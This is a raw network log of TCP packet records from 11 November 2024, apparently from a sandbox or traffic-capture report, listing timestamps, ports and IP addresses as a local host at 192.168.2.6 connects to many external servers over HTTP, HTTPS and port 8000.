Nov 11, 2024 18:50:42.059688091 CET	80	49821	64.225.91.73	192.168.2.6
Nov 11, 2024 18:50:42.059796095 CET	49821	80	192.168.2.6	64.225.91.73
Nov 11, 2024 18:50:42.207565069 CET	80	49822	72.52.179.174	192.168.2.6
Nov 11, 2024 18:50:42.207628012 CET	49822	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:50:42.207729101 CET	49822	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:50:42.208794117 CET	49829	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:50:42.212618113 CET	80	49822	72.52.179.174	192.168.2.6
Nov 11, 2024 18:50:42.214025021 CET	80	49829	72.52.179.174	192.168.2.6
Nov 11, 2024 18:50:42.214147091 CET	49829	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:50:42.214312077 CET	49829	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:50:42.219130039 CET	80	49829	72.52.179.174	192.168.2.6
Nov 11, 2024 18:50:42.709968090 CET	80	49829	72.52.179.174	192.168.2.6
Nov 11, 2024 18:50:42.710031033 CET	49829	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:50:42.710104942 CET	49829	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:50:42.714981079 CET	80	49829	72.52.179.174	192.168.2.6
Nov 11, 2024 18:50:44.806185007 CET	53361	80	192.168.2.6	52.34.198.229
Nov 11, 2024 18:50:44.811961889 CET	80	53361	52.34.198.229	192.168.2.6
Nov 11, 2024 18:50:44.812057972 CET	53361	80	192.168.2.6	52.34.198.229
Nov 11, 2024 18:50:44.812176943 CET	53361	80	192.168.2.6	52.34.198.229
Nov 11, 2024 18:50:44.817549944 CET	80	53361	52.34.198.229	192.168.2.6
Nov 11, 2024 18:50:45.502927065 CET	80	53361	52.34.198.229	192.168.2.6
Nov 11, 2024 18:50:45.503051996 CET	53361	80	192.168.2.6	52.34.198.229
Nov 11, 2024 18:50:45.504266977 CET	53361	80	192.168.2.6	52.34.198.229
Nov 11, 2024 18:50:45.509708881 CET	80	53361	52.34.198.229	192.168.2.6
Nov 11, 2024 18:50:45.509792089 CET	53361	80	192.168.2.6	52.34.198.229
Nov 11, 2024 18:50:45.770872116 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:45.770925045 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:46.940270901 CET	53377	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:46.945197105 CET	80	53377	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:46.945271969 CET	53377	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:46.945445061 CET	53377	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:46.950180054 CET	80	53377	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:47.379331112 CET	80	53377	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:47.379554033 CET	53377	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:47.385459900 CET	80	53377	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:47.385521889 CET	53377	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:47.390022039 CET	53377	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:47.397763014 CET	80	53377	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:48.288753986 CET	49728	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:50:48.291348934 CET	49718	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:48.293571949 CET	80	49728	154.212.231.82	192.168.2.6
Nov 11, 2024 18:50:48.296120882 CET	80	49718	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:48.351511955 CET	49723	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:48.351975918 CET	53397	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:48.354407072 CET	49722	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:50:48.356309891 CET	80	49723	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:48.356734991 CET	80	53397	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:48.356956005 CET	53397	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:48.356956005 CET	53397	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:48.359781981 CET	80	49722	208.100.26.245	192.168.2.6
Nov 11, 2024 18:50:48.361824989 CET	80	53397	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:48.364252090 CET	54642	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:48.369430065 CET	80	54642	23.253.46.64	192.168.2.6
Nov 11, 2024 18:50:48.369489908 CET	54642	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:48.371059895 CET	54642	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:48.373245001 CET	54643	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:48.376038074 CET	80	54642	23.253.46.64	192.168.2.6
Nov 11, 2024 18:50:48.378153086 CET	80	54643	85.17.31.122	192.168.2.6
Nov 11, 2024 18:50:48.378268003 CET	54643	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:48.383469105 CET	54644	80	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:48.385489941 CET	54643	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:48.389487982 CET	80	54644	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:48.389564991 CET	54644	80	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:48.389873028 CET	54644	80	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:48.390610933 CET	80	54643	85.17.31.122	192.168.2.6
Nov 11, 2024 18:50:48.394645929 CET	80	54644	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:48.461287022 CET	80	49722	208.100.26.245	192.168.2.6
Nov 11, 2024 18:50:48.461930990 CET	49722	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:50:48.541954994 CET	49716	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:50:48.547364950 CET	80	49716	199.191.50.83	192.168.2.6
Nov 11, 2024 18:50:48.575489998 CET	49722	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:50:48.580776930 CET	80	49722	208.100.26.245	192.168.2.6
Nov 11, 2024 18:50:48.643071890 CET	80	49718	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:48.644764900 CET	49718	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:48.664972067 CET	80	49728	154.212.231.82	192.168.2.6
Nov 11, 2024 18:50:48.665124893 CET	49728	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:50:48.667812109 CET	54645	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:48.667865038 CET	443	54645	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:48.667922020 CET	54645	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:48.669447899 CET	54645	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:48.669470072 CET	443	54645	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:48.686667919 CET	80	49722	208.100.26.245	192.168.2.6
Nov 11, 2024 18:50:48.686836004 CET	49722	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:50:48.740748882 CET	49728	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:50:48.745635986 CET	80	49728	154.212.231.82	192.168.2.6
Nov 11, 2024 18:50:48.810888052 CET	80	53397	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:48.810983896 CET	53397	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:48.810992002 CET	80	53397	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:48.811034918 CET	53397	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:48.819091082 CET	80	54643	85.17.31.122	192.168.2.6
Nov 11, 2024 18:50:48.819147110 CET	54643	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:48.819196939 CET	54643	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:48.824451923 CET	80	54643	85.17.31.122	192.168.2.6
Nov 11, 2024 18:50:48.826980114 CET	80	54642	23.253.46.64	192.168.2.6
Nov 11, 2024 18:50:48.826992035 CET	80	54642	23.253.46.64	192.168.2.6
Nov 11, 2024 18:50:48.827040911 CET	54642	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:48.827827930 CET	54642	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:48.827863932 CET	54642	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:48.845155001 CET	80	54644	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:48.845212936 CET	54644	80	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:48.845271111 CET	54644	80	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:48.850756884 CET	80	54644	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:48.850840092 CET	54644	80	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:48.862448931 CET	54646	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:48.867402077 CET	80	54646	85.17.31.122	192.168.2.6
Nov 11, 2024 18:50:48.867465973 CET	54646	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:48.867609978 CET	54646	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:48.872821093 CET	80	54646	85.17.31.122	192.168.2.6
Nov 11, 2024 18:50:48.874737024 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:48.874777079 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:48.874861956 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:48.875125885 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:48.875139952 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:48.885054111 CET	54648	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:48.889939070 CET	80	54648	23.253.46.64	192.168.2.6
Nov 11, 2024 18:50:48.890000105 CET	54648	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:48.890130043 CET	54648	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:48.895060062 CET	80	54648	23.253.46.64	192.168.2.6
Nov 11, 2024 18:50:49.127126932 CET	80	49728	154.212.231.82	192.168.2.6
Nov 11, 2024 18:50:49.127177000 CET	49728	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:50:49.130069017 CET	443	54645	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:49.130145073 CET	54645	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:49.132064104 CET	54645	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:49.132070065 CET	443	54645	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:49.132330894 CET	443	54645	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:49.132514000 CET	54645	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:49.132914066 CET	54645	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:49.179333925 CET	443	54645	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:49.332052946 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.332132101 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.336493969 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.336508036 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.336847067 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.336956978 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.337281942 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.343508005 CET	80	54648	23.253.46.64	192.168.2.6
Nov 11, 2024 18:50:49.343521118 CET	80	54648	23.253.46.64	192.168.2.6
Nov 11, 2024 18:50:49.343575001 CET	54648	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:49.343827009 CET	54648	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:49.343866110 CET	54648	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:49.383337021 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.581460953 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.581536055 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.581645012 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.581721067 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.581971884 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.582070112 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.582458019 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.582547903 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.655761957 CET	80	49716	199.191.50.83	192.168.2.6
Nov 11, 2024 18:50:49.656007051 CET	49716	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:50:49.663340092 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.663419962 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.663774014 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.663836956 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.665353060 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.665359974 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.665406942 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.665425062 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.665436029 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.665472984 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.665472984 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.665482998 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.665743113 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.666184902 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.666249990 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.693172932 CET	80	54646	85.17.31.122	192.168.2.6
Nov 11, 2024 18:50:49.693240881 CET	54646	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:49.693362951 CET	54646	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:49.699100018 CET	80	54646	85.17.31.122	192.168.2.6
Nov 11, 2024 18:50:49.744895935 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.744941950 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.744977951 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.744995117 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.745023012 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.745739937 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.745771885 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.745819092 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.745826960 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.745874882 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.745918036 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.746304989 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.747077942 CET	54647	443	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:49.747090101 CET	443	54647	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:49.946188927 CET	443	54645	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:49.946235895 CET	443	54645	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:49.946249962 CET	54645	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:49.946259975 CET	443	54645	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:49.946280956 CET	443	54645	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:49.946297884 CET	54645	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:49.946310043 CET	443	54645	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:49.946332932 CET	54645	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:49.946335077 CET	443	54645	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:49.946342945 CET	443	54645	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:49.946363926 CET	54645	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:49.946398020 CET	54645	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:49.946403027 CET	443	54645	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:49.946438074 CET	54645	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:49.946721077 CET	443	54645	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:49.946763992 CET	54645	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:49.950934887 CET	443	54645	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:49.950982094 CET	54645	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:49.960408926 CET	54645	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:49.960445881 CET	54645	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:50.023302078 CET	49718	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:50.029923916 CET	80	49718	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:50.392663002 CET	80	49718	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:50.392760038 CET	49718	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:50.398847103 CET	54664	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:50.398891926 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:50.398946047 CET	54664	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:50.399171114 CET	54664	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:50.399183989 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:50.693845034 CET	80	49808	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:50.693916082 CET	49808	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:50.833668947 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:50.833731890 CET	54664	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:50.835617065 CET	54664	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:50.835630894 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:50.835869074 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:50.836035967 CET	54664	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:50.836396933 CET	54664	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:50.879338026 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:51.677946091 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:51.677995920 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:51.678026915 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:51.678064108 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:51.678095102 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:51.678112030 CET	54664	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:51.678133011 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:51.678157091 CET	54664	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:51.678170919 CET	54664	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:51.678174019 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:51.678190947 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:51.678214073 CET	54664	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:51.678237915 CET	54664	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:51.678244114 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:51.678689957 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:51.679219007 CET	54664	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:51.679225922 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:51.680144072 CET	54664	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:51.684163094 CET	54664	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:51.684207916 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:51.684365034 CET	443	54664	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:51.684432030 CET	54664	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:52.262926102 CET	49753	80	192.168.2.6	103.150.10.48
Nov 11, 2024 18:50:52.267968893 CET	80	49753	103.150.10.48	192.168.2.6
Nov 11, 2024 18:50:52.300067902 CET	49740	80	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:52.304934025 CET	80	49740	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:52.549405098 CET	80	49753	103.150.10.48	192.168.2.6
Nov 11, 2024 18:50:52.549462080 CET	49753	80	192.168.2.6	103.150.10.48
Nov 11, 2024 18:50:52.630358934 CET	49759	8000	192.168.2.6	106.15.232.163
Nov 11, 2024 18:50:52.635360003 CET	8000	49759	106.15.232.163	192.168.2.6
Nov 11, 2024 18:50:52.661499977 CET	80	49740	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:52.661556005 CET	49740	80	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:52.692908049 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:52.692969084 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:52.693022966 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:52.693939924 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:52.693955898 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:52.897447109 CET	8000	49759	106.15.232.163	192.168.2.6
Nov 11, 2024 18:50:52.897504091 CET	49759	8000	192.168.2.6	106.15.232.163
Nov 11, 2024 18:50:52.898982048 CET	49753	80	192.168.2.6	103.150.10.48
Nov 11, 2024 18:50:52.907111883 CET	80	49753	103.150.10.48	192.168.2.6
Nov 11, 2024 18:50:53.144182920 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:53.144277096 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:53.146549940 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:53.146564007 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:53.146806002 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:53.146857023 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:53.147165060 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:53.191329956 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:53.193872929 CET	80	49753	103.150.10.48	192.168.2.6
Nov 11, 2024 18:50:53.193924904 CET	49753	80	192.168.2.6	103.150.10.48
Nov 11, 2024 18:50:53.195024967 CET	49759	8000	192.168.2.6	106.15.232.163
Nov 11, 2024 18:50:53.199928045 CET	8000	49759	106.15.232.163	192.168.2.6
Nov 11, 2024 18:50:53.461175919 CET	8000	49759	106.15.232.163	192.168.2.6
Nov 11, 2024 18:50:53.461299896 CET	49759	8000	192.168.2.6	106.15.232.163
Nov 11, 2024 18:50:54.724766016 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:54.725089073 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:54.725117922 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:54.725179911 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:54.725197077 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:54.725208998 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:54.725225925 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:54.725265026 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:54.725271940 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:54.725315094 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:54.725461006 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:54.725512028 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:54.725517988 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:54.725559950 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:54.725825071 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:54.725858927 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:54.725863934 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:54.725899935 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:54.759597063 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:54.759664059 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:54.759799957 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:54.759821892 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:54.759824991 CET	443	54680	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:54.760097980 CET	54680	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:54.863095045 CET	49740	80	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:54.867969036 CET	80	49740	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:55.237633944 CET	80	49740	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:55.237760067 CET	49740	80	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:55.247191906 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:55.247236967 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:55.247297049 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:55.247584105 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:55.247601986 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:55.680782080 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:55.680845976 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:55.682807922 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:55.682812929 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:55.683070898 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:55.683125019 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:55.683515072 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:55.731329918 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:58.118488073 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:58.118532896 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:58.118537903 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:58.118571043 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:58.118612051 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:58.118612051 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:58.119132996 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:58.119177103 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:58.119183064 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:58.119225025 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:58.119909048 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:58.119951963 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:58.119956017 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:58.119961977 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:58.119981050 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:58.120009899 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:58.121093988 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:58.121133089 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:58.121140003 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:58.121181965 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:58.121973038 CET	54701	443	192.168.2.6	188.114.97.3
